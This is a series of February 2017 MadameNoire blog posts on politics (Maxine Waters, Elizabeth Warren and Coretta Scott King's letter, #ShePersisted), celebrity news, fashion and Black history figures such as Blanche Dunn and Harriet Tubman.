I know my friends, family and I are disgusted by the results of our recent presidential election, the executive orders that have passed since Trump took office and the cabinet members and nominations he’s put in place since his first day on the job. But you have to wonder if other politicians feel some type of ire. Are they still willing to give Donald Trump a chance? Are they just going to wait out the next four years? Well, there’s one Congresswoman who is not going to sit idly by.
Maxine Waters has been serving as a Democratic Representative for the past 27 years. She’s advocated against apartheid, opposed mandatory minimum sentencing and now she’s taking on Donald Trump. Waters has never minced words when it comes to Trump. As we reported earlier, when Tamron Hall asked Waters if she were attending the inauguration, <a href="http://madamenoire.com/782801/dont-honor-dont-respect-maxine-waters-wont-attend-trumps-inauguration/">Waters said plainly</a>, “I don’t honor him. I don’t respect him and I don’t want to be involved with him.”
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<p dir="ltr" lang="en">Rep. Maxine Waters: ‘We are not playing. We’re stopping Trump.’ <a href="https://t.co/C3pCGFQ4UC">https://t.co/C3pCGFQ4UC</a>
"I don’t trust him" <a href="https://t.co/h7Ei1Jx82f">pic.twitter.com/h7Ei1Jx82f</a></p>
— Artzthings (@Artzthings) <a href="https://twitter.com/Artzthings/status/825051249913495553">January 27, 2017</a></blockquote>
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Now, according to <a href="http://www.teenvogue.com/story/congresswoman-maxine-waters-believes-donald-trump-should-be-impeached"><i>Teen Vogue</i></a><i>, </i>she’s putting her words and feelings into action. On January 31, Waters introduced a bill demanding an investigation into Trump and his cabinet’s ties to Russia. Particularly after <a href="http://www.teenvogue.com/story/rex-tillerson-refuses-to-speak-against-putin-on-first-day-of-senate-confirmation-hearing">Rex Tillerson, the former CEO of Exxon Mobil and Trump’s pick for Secretary of State, refused to denounce Vladimir Putin</a>. In a press conference announcing the bill, Waters said, “In just under two weeks, Donald Trump has unnerved our allies, challenged our values, and brought so much instability and chaos to our country. This chaos is sure to please at least one person- Vladimir Putin.” Waters also said that the investigation would target not only Tillerson but Wilbur Ross and Michael Flynn.
<i>Teen Vogue </i>interviewed Waters recently to discuss the bill and the possible impeachment of President Trump.
<b><em>Teen Vogue</em>: </b><b>What urged you to push this bill forward?</b>
<b>Maxine Waters:</b> I've introduced legislation to make sure that there is a substantive, thorough investigation of Trump and all of his operatives that fall within this circle of Trump and Putin because not only did they interfere with our election (and we know that they did because our <a href="http://www.teenvogue.com/story/president-obama-will-move-forward-with-sanctions-for-russian-hacking">intelligence agencies have confirmed that</a>) but we need to know whether or not Trump and his people were in collusion with them. What did they do? What did they say? Were they involved in strategic planning? How long had this gone on? And what was Paul Manafort's role in that?
<b><i>TV</i>: If this bill passes and a thorough investigation is done and obvious and problematic ties are revealed, what do you think the next step should be?</b>
<b>MW:</b> I believe that this president should be impeached. If we discover that there was collusion and that he strategized with and planned with the Kremlin and Putin to undermine our elections in any way to support Trump and undermine Hillary Clinton, and if we discover that there are telephone calls and emails and trips back and forth to Russia, and if we discover that they were involved in exchanging information, etc. he should be impeached. I think we should go for it.
<b><i>TV</i>: Since day one, you've openly stated that you </b><a href="https://www.bloomberg.com/politics/videos/2016-11-17/rep-maxine-waters-we-don-t-know-who-donald-trump-is"><b>do not intend to try to work with Donald Trump</b></a><b>. Why have there not been more Democrats willing to publicly say the same thing?</b>
<b>MW:</b> Well, I don't know and it's hard to speak for other people except to say that when you get into politics, you're socialized into the way in how you conduct yourself. We refer to each other as the gentlelady and the gentleman. We use language that has been designed to keep order, and to keep people in line. I don't subscribe to that. I believe there comes a time when you have to speak truth to power and be honest with the people, and be prepared to confront the kind of evil and criminality and undermining of the Constitution such as I believe this president has done. And if you have to suffer consequences for doing that, so be it. I'm prepared to suffer those consequences.
<b><i>TV</i>: When you were putting this bill together, what was the response from your Republican and Democratic colleagues?</b>
<b>MW:</b> Well the Republicans are probably just learning about it today. I had with me about 8 or 10 Democrats who, when they learned about it, joined with me to be principle co-authors on the bill. Some people called and said they would've met with me last night but they had conflicting schedules. So what we'll do now is circulate this petition and make sure that everybody sees it and we'll see who will sign up to go with us to bring it forward.
<b><i>TV</i>: How do you feel when you see </b><a href="http://www.teenvogue.com/gallery/15-epic-signs-muslim-ban-protests-around-country"><b>protests occurring all over the nation</b></a><b> urging to fight Trump's presidency?</b>
<b>MW:</b> I am one who believes in the power of the people. I am inspired when I see people hit the streets, who challenge their elected officials, and are willing to stand up and fight. I encourage it. It's always been a part of who I am and what I do. And I want not only the activists who've been involved for some time since Civil Rights, but I also want the millennials and our young people to be inspired by us. I want them to be proud that we're standing up so they want to join with us, I'm finding that all they're looking for is some truth.
You can read the rest of Waters’ interview <a href="http://www.teenvogue.com/story/congresswoman-maxine-waters-believes-donald-trump-should-be-impeached"><b>here</b></a>.
<i>Veronica Wells is the culture editor at MadameNoire.com. She is also the author of <a href="https://www.amazon.com/Bettah-Days-Veronica-R-Wells/dp/1535549866" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.amazon.com/Bettah-Days-Veronica-R-Wells/dp/1535549866&source=gmail&ust=1486578388781000&usg=AFQjCNGpjKeBVkHyxvwizVilh8nEKDYT8w">“Bettah Days.”</a> You can follow her on <a href="https://www.facebook.com/veronicarwells" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.facebook.com/veronicarwells&source=gmail&ust=1486578388781000&usg=AFQjCNGMaVW7-aRVdt8joOESpAKigpVoPg">Facebook</a> and Twitter<a href="https://twitter.com/VDubShrug" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://twitter.com/VDubShrug&source=gmail&ust=1486578388781000&usg=AFQjCNG6xrM1u6uoa9fe6jkg5p6LEuvKvQ"> @VDubShrug.</a></i>
“I Believe That This President Should Be Impeached.” Congresswoman Maxine Waters On Her Plan To Get Trump Out Of Office
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Atlanta‘s Lakeith Stanfield Has No Time For Black Men Who Slander Black Women: “That’s B—h Ni–a Sh-t”
If you're sick and tired of watching some people (in particular, some Black men) sit back and not only say some of the ugliest things about Black women on social media or in real life, but also say nothing when encountered with other men who do such things, you're not alone. It's just sad at this point. But the good news is that there are men out here who have no time for the deeply entrenched self-hate and disrespect. Actor Lakeith Stanfield of <em>Atlanta </em>is one of those men.
<img src="http://madamenoire.com/wp-content/uploads/2017/02/Lakeith-Stanfield-PF.jpg" alt="Lakeith Stanfield" width="1068" height="600" class="aligncenter size-full wp-image-784976" />
While working on a new project, Stanfield said he was riding in a car "from point A to point B" when the driver he was chatting with started bemoaning Black women for being too difficult. According to Stanfield, the man said, "Black women, they're the hardest to deal with, man. They're the most f--ked up version of a woman." Stanfield strongly disagreed.
"I said, 'Whoa, whoa, wait, you talking to the wrong person man because as far as I’m concerned, the most beautiful aspect of Black women is that they’ve been through the most sh-t you could go through in this country,'" he said while capturing his thoughts on video. "You know what I mean? They really have been through the most sh-t and that’s a beautiful thing. That’s something that should empower you to be a better version than what the f--k you are. Instead of having you feel beat down by it, it empowers you to be better. So the woman that’s been through the most, that’s the one I want on my side. Because she understands when I go through some sh-t she knows how to deal with the sh-t because she done been through it all. And that’s a beautiful thing. Don’t ever throw 'em on the back burner like they f--ked up because you don’t understand what the f--k they went through. That’s b---h ni--a sh-t."
Stanfield's feelings could come from his appreciation for his mother. In an interview with <em><a href="http://nymag.com/thecut/2016/11/talking-to-lakeith-stanfield-atlantas-pothead-philosopher.html" target="_blank">The Cut</a> </em>last year, he talked about his extremely humble beginnings and how she managed to be a ray of light who encouraged him to think outside of the box despite all they had to endure when he was growing up.
"She somehow cast spells on us to have us re-create our perspective of what was going on," he said. "I remember she one time told me she was giving us all salmon, and we’d never had salmon before, we were excited like, Woo! This is a delicacy! And then she was like: It’s chitlins. We couldn’t tell the difference, 'cause we’d never had it before," he laughs. "She was a professional at molding perspectives to just keep us light, keep us laughing. She was a beautiful beacon of hope for us. She keeps me going."
How can you not love this guy?
Check out his condemnation of "b---h ni--a sh-t" that is sure to warm your heart, ladies:
https://www.youtube.com/watch?v=TDtgpPXyNBk
<em>Image via Splash </em>
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10 Mustard Yellow Must-Haves
<a href="http://madamenoire.com/wp-content/uploads/2017/02/mustard-yellow.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/mustard-yellow.jpg" alt="" width="1068" height="600" class="size-full wp-image-784948 aligncenter" /></a>
We know green is the official color of the year according to Pantone, but we'll never not have love for mustard yellow. Though the shade may scream summer to you on first glance, the warmth of this yellow tone actually makes it a great bet year-round. And since we're in the middle of windy, rainy, cold winter, we put together 10 mustard yellow must-haves to carry you through the rest of this season and right into spring.
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Usher’s “Bad Girl”& 27 Other Songs I Didn’t Know Jimmy Jam And Terry Lewis Produced
<img src="http://madamenoire.com/wp-content/uploads/2017/02/jimmy-jam-and-terry-lewis-feat.jpg" alt="" width="1068" height="600" class="size-full wp-image-784988" />
Call me ignorant but until I watched the New Edition biopic, I had no idea that they produced "Can You Stand The Rain." Then watching some old YouTube interviews, I heard their names in connection with a gospel artist who I'll mention later. I knew their working relationship with Janet Jackson runs deep but I was wondering just how many songs, songs that I know and love, were these two behind? Turns out, quite a bit. You'll be amazed scrolling through their extensive <a href="https://en.wikipedia.org/wiki/Jimmy_Jam_and_Terry_Lewis_production_discography">Wikipedia page</a>. But the songs that stuck out to me, the ones that are in my iTunes collection, are listed on the following pages. Check them out.
https://www.youtube.com/watch?v=fUSOZAgl95A
<h2>4 Seasons of Loneliness - Boyz II Men</h2>
Since they worked so closely with New Edition, it would only make sense that they collaborate with the group Michael Bivins discovered. What's so impressive though is the fact that they were working with them years after they broke into the business.
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Shonda Rhimes Adapting Luvvie Ajayi’s Best-Selling I’m Judging You: The Do-Better Manual For Cable
In today's edition of "Go Black girl go" news, the latest Black woman to land a television series is author and social commentator Luvvie Ajayi. She's teaming up with Shonda Rhimes to bring her <em>New York Times</em> best-selling book, <em>I'm Judging You: The Do-Better Manual</em>, to the small screen.
https://www.instagram.com/p/BP8Kihggv4Z/?taken-by=luvvie
Rhimes is the perfect person for Ajayi to collaborate with. Her hilarious recaps of <em>Scandal </em>caught the attention of the showrunner years ago and they've been staunch supporters of one another's work ever since. "I lovingly refer to her as my Fairy Baemother," Ajayi said on her site, <a href="http://www.awesomelyluvvie.com/2016/09/im-judging-you-shonda-rhimes.html" target="_blank"><em>Awesomely Luvvie</em></a>, "because since she tweeted me a few years ago, and we connected in person, I’ve felt like I have this mentor in my head."
Rhimes and Betsy Beers' Shondaland, alongside ABC Signature Studios, have acquired the rights to her book and are looking to develop it into a comedy for cable. According to <a href="http://deadline.com/2017/02/shonda-rhimes-developing-comedy-luvvie-ajayi-im-judging-you-the-do-better-manual-1201900452/" target="_blank"><em>Deadline</em></a>, Rhimes is looking to get into comedy after creating five different drama series for ABC. Ajayi is the perfect person to help her lighten things up.
As for Ajayi's thoughts on this major development, she's over the moon with excitement. It's another huge opportunity for the former marketing and branding maven who at one point, blogged as a hobby while trying to work full time.
https://www.instagram.com/p/BQOBK3pgVb3/?taken-by=luvvie
This project will be part of Shondaland's overall deal at ABC Studios and the cable division of ABC Signature.
Congratulations to Ajayi and kudos to Rhimes for continuing to share the talents of women of color.
<em>Images via Instagram and WENN</em>
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Women Of Black History: 5 Things To Know About Harlem Renaissance “It” Girl Blanche Dunn
In today's world, many people work to make themselves "It" girls via social media. They might be the children of famous parents or just know how to gain followers with provocative Instagram posts, but just about anybody can be a "socialite" of sorts these days. But back in the day, the original "It" girl was Blanche Dunn. Born in Jamaica, Dunn came to the States in the 1920s and soon after, became a constant face and fashionista on the scene during the Harlem Renaissance. Not only was she beautiful, but she was exceptionally stylish. Check out five things you should know about the Harlem Renaissance-era actress and socialite.
https://www.instagram.com/p/fnFpmbE-jp/?tagged=blanchedunn&hl=en
<h2>She Was Mentored by a Fashion Designer Who Taught Her How to Dress Stylish</h2>
According to the book <a href="https://books.google.com/books?id=lyMvBQAAQBAJ&pg=PA71&lpg=PA71&dq=Blanche+Dunn+actress&source=bl&ots=v9YWvsnFhS&sig=-LvMiepM6RFXra0FI0RdljRb_JM&hl=en&sa=X&ved=0ahUKEwjk75iP_P7RAhVG5yYKHYVeBRM4ChDoAQgxMAU#v=onepage&q=Blanche%20Dunn%20actress&f=false" target="_blank"><em>Black Women of the Harlem Renaissance Era</em></a>, after arriving in New York city in 1926, Blanche met fashion designer Wilda Gunn. The designer ended up taking Blanche under her wing and taught her how to put together chic alphets. You could consider her an early muse of Gunn, as the designer's teachings would go a long way in helping Blance turn heads uptown.
<h2>When She Wasn't Being a Socialite, Blanche Dunn Was an Actress</h2>
Blanche tried her hand at acting. She was a showgirl for the Broadway musical <em>Blackbirds</em>. If you read our "<a href="http://madamenoire.com/784863/women-black-history-nina-mae-mckinney/">5 Things to Know About Actress Nina Mae McKinney</a>," then you know that she got her break from having a similar role in the same play. As for Blanche, well, she got a check and became an insider on the Great White Way, showing up to a whole host of parties for the different shows that were going on. Blanche also had a small role in the 1933 Paul Robeson film, <em>The Emperor Jones. </em>
<h2>She Was a Consistent Subject of Famous Photog Carl Van Vechten</h2>
Even though he was White, photographer Carl Van Vechten took many pictures of up-and-coming Black actors, actresses and figures in their early years (Alvin Ailey, Josephine Baker, Lena Horne, and many more), particularly during the Harlem Renaissance. Blanche Dunn was a good friend of the writer and photog and was always invited to his legendary parties. She was also photographed on quite a few occasions by Vechten, posing for her friend as early as 1924 and as late as 1941.
https://www.instagram.com/p/BN8r4OkBeKm/?tagged=blanchedunn&hl=en
<h2>She Was the Life of the Party</h2>
According to Richard Bruce Nugent, an iconic writer and painter of the Harlem Renaissance (who was in the friend circle of Zora Neale Hurston and Langston Hughes), Blanche Dunn was, as we would probably say today, the queen of the turn up. He said that "a party was not a party, a place not a place, without Blanche." Tables were always reserved for her at popular nightclubs in Harlem like the Hot Cha, she was invited to parties hosted by Salvador Dali, and she was also a mainstay at Broadway first night parties.
<h2>You Could Find Her Traveling Around the World</h2>
As writer Linda M. Carter put it in <em>Black Women of the Harlem Renaissance Era</em>, "Dunn's beauty, personality, and sophistication enabled her to wear expensive clothes, shop in Paris, and travel to other European locales." Blanche's appeal (including to an ex-boyfriend who was a British oil magnate) allowed her the chance take nine-month vacations to Europe and travel frequently. When she finally tied the knot, Blanche and her husband relocated and settled down in Capri.
https://www.instagram.com/p/BB_SGU_BhaI/?tagged=blanchedunn&hl=en
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This Picture Of A Young Harriet Tubman Is Pretty Awesome
Most of the time when we see pictures of Harriet Tubman, we see her in the winter of her life. She’s bundled up and a bit hunched over. For a woman who was only 5’2, she didn’t need any additional help looking small. Looking at the older pictures, it’s hard to fathom a woman of her stature being able to free hundreds of slaves through the Underground Railroad and then another 727 more during the Civil War.
But a new picture, from an abolitionist’s journal, shows Tubman around the time when she was living life as a superhero, liberating people from the injustices of the world.
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<p style="margin: 8px 0 0 0; padding: 0 4px;"><a style="color: #000; font-family: Arial,sans-serif; font-size: 14px; font-style: normal; font-weight: normal; line-height: 17px; text-decoration: none; word-wrap: break-word;" href="https://www.instagram.com/p/BPyrpfkhSGk/" target="_blank">Get it Harriet. This newly discovered photo of #HarrietTubman is 🔥..look at the Greatest American Revolutionary...as a young Black Woman #BadAssBlackWomen</a></p>
<p style="color: #c9c8cd; font-family: Arial,sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 0; margin-top: 8px; overflow: hidden; padding: 8px 0 7px; text-align: center; text-overflow: ellipsis; white-space: nowrap;">A photo posted by michaela angela davis (@michaelaangelad) on <time style="font-family: Arial,sans-serif; font-size: 14px; line-height: 17px;" datetime="2017-01-28T02:50:35+00:00">Jan 27, 2017 at 6:50pm PST</time></p>
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According to <a href="https://mic.com/articles/167825/this-new-photo-of-harriet-tubman-recently-found-in-an-abolitionist-s-album-is-everything#.OWkCwNxYJ"><em>Mic</em></a>, the new photo was discovered by historian Kate Clifford Larson, who found the image in a photo album once owned by Tubman’s friend and fellow abolitionist Emily Howland. Larson said, “What's remarkable about this photograph is that she's so proud and dignified and beautiful," Larson said. "She looks so young. This is the vibrant young Tubman just coming off her work during the Civil War. She's building her life with her family in Auburn."
Larson estimates that Tubman was around 43-46 years-old at the time the photo was taken.
Plenty of folks are now hoping this is the image that will be used on the new $20 bill.
The photo is set to be auctioned off at the Swann Galleries in New York City on March 30.
<i>Veronica Wells is the culture editor at MadameNoire.com. She is also the author of <a href="https://www.amazon.com/Bettah-Days-Veronica-R-Wells/dp/1535549866" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.amazon.com/Bettah-Days-Veronica-R-Wells/dp/1535549866&source=gmail&ust=1486587492964000&usg=AFQjCNFIzhCCECRVzsgVB7zIxK-LItWiIg">“Bettah Days.”</a> You can follow her on <a href="https://www.facebook.com/veronicarwells" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.facebook.com/veronicarwells&source=gmail&ust=1486587492964000&usg=AFQjCNGINXGOt92mpr2mU0NGzWsbsTj-tg">Facebook</a> and Twitter<a href="https://twitter.com/VDubShrug" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://twitter.com/VDubShrug&source=gmail&ust=1486587492964000&usg=AFQjCNFF2zdrfJ16I2qU3V9iXOrTNcpVPw"> @VDubShrug.</a></i>
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Why The Republicans Attempted To Silence Coretta Scott King From The Grave
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<p dir="ltr" lang="en">The U.S. Senate has tried to silence Coretta Scott King for 30 years: <a href="https://t.co/Mic3PAB8eY">pic.twitter.com/Mic3PAB8eY</a></p>
— Slate (@Slate) <a href="https://twitter.com/Slate/status/829383662219251717">February 8, 2017</a></blockquote>
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Y’all Congress is at it again. They already messed up by confirming Betsy DeVos as the Secretary of Education and now another Trump nominee, Jeff Sessions, is well on his way to becoming Attorney General. We’ve spoken about <a href="https://madamenoire.com/782588/woman-says-long-stays-black-shell-never-forget-jeff-sessions-family/">Jeff Sessions before on our site</a>, specifically how he targeted a Black couple, Albert and Evelyn Turner, who made it their life’s work to encourage Black people to vote. Sessions, leading a team at the Alabama U.S. Attorney’s office, prosecuted this couple after accusing them of altering ballots. They were eventually acquitted but Evelyn Turner says she will never forget the turmoil he caused their family.
But turns out Turner isn’t the only woman who’s had something unfavorable to say about Sessions. In 1986, he was attempting to become a judge. And Coretta Scott King <a href="https://www.washingtonpost.com/news/powerpost/wp/2017/01/10/read-the-letter-coretta-scott-king-wrote-opposing-sessionss-1986-federal-nomination/?utm_term=.35831ac5b90b">wrote a 9-page letter, not including the cover page,</a> explaining why she didn’t believe Sessions was fit to hold this office. On the cover page, she wrote:
“Anyone who has used the power of his office as United States Attorney to intimidate and chill the free exercise of the ballot by citizens should not be elevated to our courts.”
Facts.
So you may be wondering why a letter that’s over 30 years old is in the news today, in 2017.
Well, Senator Elizabeth Warren, (D-MA) was attempting to read King’s words during the confirmation hearing, obviously in opposition to Sessions being confirmed as Attorney General. But when she began reading, the Republicans took a vote to formally silence her. They argued that she was in violation of Rule 19, impute a fellow senator.
Before he silenced her, Mitch McConnell, the majority leader said, “The senator has impugned the motives and conduct of our colleague from Alabama, as warned by the chair. Senator Warren, quote, said “Senator Sessions has used the awesome power of his office to chill the free exercise of the vote by black citizens. I call the senator to order under the provision of Rule 19.”
You can watch the whole thing in the video below.
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Later McConnell said, of Warren, “She was warned,” Mr. McConnell said of Ms. Warren. “She was given an explanation. Nevertheless, she persisted.”
Warren released a statement later.
“Republican senators’ decision tonight to silence Coretta Scott King from the grave is disgusting and disgraceful. Mrs. King’s characterization of then U.S. Attorney Senator Sessions was accurate in 1986 and it is accurate now. He is as much of a friend to the Black community and civl rights as Bull Connor and the Good Old Boyd were during the Civil Rights Movement.”
Elizabeth doesn’t mince words.
Really, the whole time I thought about the Republicans attempt to silence not one but two women. and I wondered, if they were unwilling to hear the voices of a colleague and a Civil Rights icon, then which women are they willing to listen to, really?
Late last night, I also saw this tweet, which nearly sent chills through my body.
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<p dir="ltr" lang="en">ON <a href="https://twitter.com/hashtag/MLKDay?src=hash">#MLKDay</a>, Trump met w/ MLK III & paraded him in front of cameras. Today, Coretta's letter was banned from the Senate floor. What a time.</p>
— April (@ReignOfApril) <a href="https://twitter.com/ReignOfApril/status/829192649995333632">February 8, 2017</a></blockquote>
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This is why folks are so upset at the mere sight of Black people associating with Trump. Because while you might be good enough to take a picture with, or good enough to have a conversation with, when it comes down to the decisions that really matter, your voice will not be heard.
Thankfully, Warren wasn’t so easily discouraged, being silenced on the Senate floor.
Later, on her <a href="https://www.facebook.com/senatorelizabethwarren/videos/vb.131559043673264/724337794395383/?type=2&theater¬if_t=live_video_interaction¬if_id=1486526408091711">Facebook page</a>, she read King’s letter attracting, at the point of publication, 7.9 million views.
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For those who would like to read the full letter, you can do so here.
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<p dir="ltr" lang="und"><a href="https://t.co/rQD4sNBejt">https://t.co/rQD4sNBejt</a></p>
— Veronica Wells (@VDubShrug) <a href="https://twitter.com/VDubShrug/status/829408272335695873">February 8, 2017</a></blockquote>
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<i>Veronica Wells is the culture editor at MadameNoire.com. She is also the author of </i><a href="https://www.amazon.com/Bettah-Days-Veronica-R-Wells/dp/1535549866"><i>“Bettah Days.”</i></a><i> You can follow her on </i><a href="https://www.facebook.com/veronicarwells"><i>Facebook</i></a><i> and Twitter</i><a href="https://twitter.com/VDubShrug"><i> @VDubShrug.</i></a>
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“I Was Incensed”: Woman Separates From Husband Of 22 Years Over Trump Support
While I was over here mourning my former appreciation for <a href="http://www.gq.com/story/under-armour-just-endorsed-president-donald-trump?mbid=social_twitter" target="_blank">Under Armour</a> after their CEO turned out to be quite the Donald Trump fan, a woman actually dropped her husband over his support of the 45th president. Well played...
<img src="http://madamenoire.com/wp-content/uploads/2017/02/Gayle-M.png" alt="Trump support" width="772" height="401" class="aligncenter size-full wp-image-785124" />
And we're not talking about any ol' marriage here. Gayle McCormick, 73, has been married to her husband, who is 77, for 22 years. She always knew that he was conservative, and she's always been what she described as a "Democrat leaning toward socialist." However, with all that was at stake in last year's election, and the fact that Trump won, McCormick couldn't overlook how "incensed" she was when she overheard her husband tell a group of their friends he was going to vote for Trump. She initially felt betrayed, and then she had an epiphany.
"I felt like I had been fooling myself," McCormick said in an interview with news wire <a href="http://www.reuters.com/article/us-usa-trump-relationships-insight-idUSKBN15M13L" target="_blank"><em>Reuters</em></a>. "It opened up areas between us I had not faced before. I realized how far I had gone in my life to accept things I would have never accepted when I was younger."
McCormick's interview was part of a bigger piece by <em>Reuters</em> that reached out to people who found their relationships, particularly those with family, friends and folks online, were impacted by one's support of Trump. A poll they did of 6,426 people from late December to mid-January found that there was a jump in the number of people who argued with loved ones about politics after the election in comparison to before it.
One woman in Ohio said she can hardly bring herself to talk to two of her sons who voted for Trump, a man she calls "a nut." On the opposite end of the spectrum, a man from Missouri said he just avoids having such rough conversations with his brother, sister-in-law and brother-in-law, who were Clinton supporters. "We don't have to talk about politics," he said.
But for McCormick, just the fact that her husband was even considering backing Trump was too much for her. You see, he actually had a change of heart and <em>didn't</em> vote for Trump, instead, writing in House of Representatives Speaker Newt Gingrich's name as a presidential option. Still, it was too little too late for McCormick (who actually wrote in Bernie Sanders herself, so she didn't really help things...). She's open to vacationing with her estranged husband down the line and still calls him a friend. She actually said that she doesn't plan on divorcing him because, as she told <em>Reuters</em>, "we're too old for that." However, she has moved into her own place in Washington. She's feeling quite free and much less stressed.
"It really came down to the fact I needed to not be in a position where I had to argue my point of view 24/7," McCormick said. "I didn't want to spend the rest of my life doing that."
<em>Images via Reuters and Gayle McCormick </em>
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#ShePersisted: Republican Senator’s Words Against Elizabeth Warren Used As A Rallying Cry For Women
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<p dir="ltr" lang="en">By silencing Elizabeth Warren, the GOP gave women around the world a rallying cry. <a href="https://twitter.com/hashtag/ShePersisted?src=hash">#ShePersisted</a> <a href="https://twitter.com/hashtag/LetLizSpeak?src=hash">#LetLizSpeak</a> <a href="https://t.co/uH6WIngHaL">pic.twitter.com/uH6WIngHaL</a></p>
— Kamala Harris (@KamalaHarris) <a href="https://twitter.com/KamalaHarris/status/829379045729169410">February 8, 2017</a></blockquote>
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Really, there is so much to say about what happened last night with Elizabeth Warren attempting to read Coretta Scott King’s letter, that it required two posts. Not because there’s any more information about the story, but more so the response to it from the public. Everyone was stricken by Mitch McConnell’s quote regarding Senator Warren, because it echoes so many of the stories surrounding women who have fought to bring about change.
Twitter used the words #ShePersisted as a way to commend Warren and the other women and even girls who weren’t so quick to give up.
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<p dir="ltr" lang="en">"She was warned. She was given an explanation. Nevertheless, <a href="https://twitter.com/hashtag/ShePersisted?src=hash">#ShePersisted</a>." <a href="https://t.co/ITUnfkiLDe">pic.twitter.com/ITUnfkiLDe</a></p>
— Alan Dettlaff (@AlanDettlaff) <a href="https://twitter.com/AlanDettlaff/status/829383147976589312">February 8, 2017</a></blockquote>
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“Women Are The Backbone Of The Resistance” Van Jones’ Support For WOC Is Divine
<img src="http://madamenoire.com/wp-content/uploads/2017/02/ezgif.com-e6a53a310f.png" alt="Van Jones" width="1068" height="600" class="aligncenter size-full wp-image-785114" />
Van Jones is the ultimate #boss political commentator and <a href="http://madamenoire.com/725246/van-jones-says-thinking-saying-election-whitelash/">completely described the anger, hurt, and confusion</a> I felt after witnessing the recent presidential election results with his highly controversial phrase "whitelash." His remarks accurately depicted our nation's political climate and opened the eyes of many Americans who often ignore the racial and political tensions we face as a society (i.e. #AllLivesMatter.)
On today's episode of "The Real," Van Jones spoke about the importance of women in the fight for equality and how as a society we should be more aware of each other's experiences.
<blockquote>Adrienne: What kind of role do you think women can play in bringing about change?
Van: Well, ya know, women are the backbone of resistance. That's just the reality. [...] 96% of African American women voted against Donald Trump and voted for Hillary Clinton that gives you a sense that women have different views, especially women of color. It's so hard though to be a woman, to be a woman of color, you have to deal with racism, you have to deal with sexism, you have to take care of yourself and then educate everybody else--it's tiresome. And yet, it's unjust and unfair, but it's necessary because basically White, Republican guys are not going to be able to lead us to freedom, they don't know the whole history that you have to learn as women of color. And so even though it's tiresome I was so proud to see so many women come out and say, you know what we are ready to be even more involved."</blockquote>
Van's comments are commendable because we sometimes find that men, including Black men, are not supportive or protective of Black women. It seems the wave of <a href="http://madamenoire.com/785058/what-happened-when-a-white-lady-tried-to-piss-on-kofi-siriboes-celebration-of-his-black-mother/">Black men caping</a> for us is gaining momentum.
One problematic aspect of the interview is with Jeannie Mai's next line of questioning. As a daughter of Vietnamese refugees raised in the San Francisco Bay Area and a woman in an interracial marriage, she confused me when she asked, "So when you said, White, Republican guys--do you really mean all White, Republican guys in that way?"
Yes, we know Jeannie is married to a white man and perhaps he doesn't fit the stereotypical white privilege mode, but Van's response completely hits it on the nose regarding why we need to be in touch with everyone's experiences and recognize where we are lacking.
<blockquote>Van: What I am observing is that we don't have a diverse country. We have bubbles that touch. And so if you are in certain communities there are certain things you can only learn in those communities.</blockquote>
What are your thoughts on Van Jone's support of WOC?
Catch the segment below.
https://www.youtube.com/watch?v=IRKsMNXb5YY
<em>Quindara Lazenbury is the definition of #bosslady with the woes of adulthood to keep the ball rolling. Writer and aspiring techie by profession. Follow her @wholefully_q</em>
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Kim Zolciak Is Back, Kandi Almost Lays Hands & Apollo’s Boo Comes Through
<img src="http://madamenoire.com/wp-content/uploads/2017/02/rhoa-feat.jpg" alt="" width="708" height="396" class="aligncenter wp-image-785135" />
I have to give it to Bravo. After 9 seasons, the show still finds ways to keep it fresh. Messy but fresh. So messy in fact that the show now releases multiple trailers for one season. In the trailer for the second half of season 9, there's all types of surprises in store.
Kim Zolciak and her husband return, just in time to view Chateau Sheree. She and Kenya get into it and Kim says some very nasty things to her.
Cynthia and Peter seem to be flirting, despite filing for a divorce. They aren't the only couple rekindling. Bob seems to be ring shopping for Sheree.
As we knew she would, Apollo's girlfriend or fiancee or whoever makes her debut.
And, in what is perhaps the most dramatic moment of the trailer, Kandi nearly loses her sh*t in an attempt to check Porsha for lying about the sex dungeon she allegedly had in her home.
Watch it all in the video below.
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Estate Of NOLA YouTube Personality Messy Mya Suing Beyoncé Over “Formation” Vocal Sample
On February 6, 2016, Beyoncé stopped the world, per the usual, when she released the video for "Formation," which was to be the lead single to the album <em>Lemonade </em>(yet another project we didn't see coming). The song garnered critical praise, award nominations and a lot of love. But a little over a year later, it's getting hit with a lawsuit. How, Sway?
<img src="http://madamenoire.com/wp-content/uploads/2017/02/Beyonce-Messy-Mya.jpeg" alt="Messy Mya Formation" width="1068" height="600" class="aligncenter size-full wp-image-785137" />
According to <a href="http://www.vulture.com/2017/02/watch-the-trailer-for-bill-nye-saves-the-world.html" target="_blank"><em>Vulture</em></a>, the estate of late YouTube personality Messy Mya is actually suing the singer over a sample of his vocals from some of his popular videos that were heard in "Formation." The estate alleges that Beyoncé used them without permission. While the official song doesn't actually feature the late New Orleans native's voice, the video does. You can hear him open the clip saying, "What happened at the New Wil’ins / B---h I’m back, by popular demand." Those vocals came from his 2010 video "<a href="https://www.youtube.com/watch?v=daKqgdcypTE" target="_blank">Booking the Hoes From New Wildin</a>." According to <a href="http://www.tmz.com/2017/02/07/beyonce-sued-sample-messy-mya-formation/" target="_blank">TMZ</a>, vocals from his 2010 video "<a href="https://www.youtube.com/watch?v=zsYOnx2xJuY" target="_blank">A 27 Piece Huh?</a>" were also used, in particular, the part where he says,"Ooooooh yeah, baby. Oh yeah. Ohhhhh! Oh yes, I like that."
While it's unclear why the estate chose a year later to call this out, they say that they tried to reach out to 'Yonce's people on multiple occasions to set things straight but never received a response. So now, they are asking for $20 million in back royalties and according to TMZ, "other damages for using some of his final recorded words."
Messy Mya, born Anthony M. Barré, was killed in 2010 in New Orleans. Known for his biting but hilarious videos and one of his catchphrases, "Now who gonna pop me?" Barré was reportedly <a href="http://www.nola.com/crime/index.ssf/2010/11/7th_ward_murder_victim_identif.html" target="_blank">gunned down after attending the baby shower of a girlfriend</a> whom he was having a son with. He was 22 years old at the time.
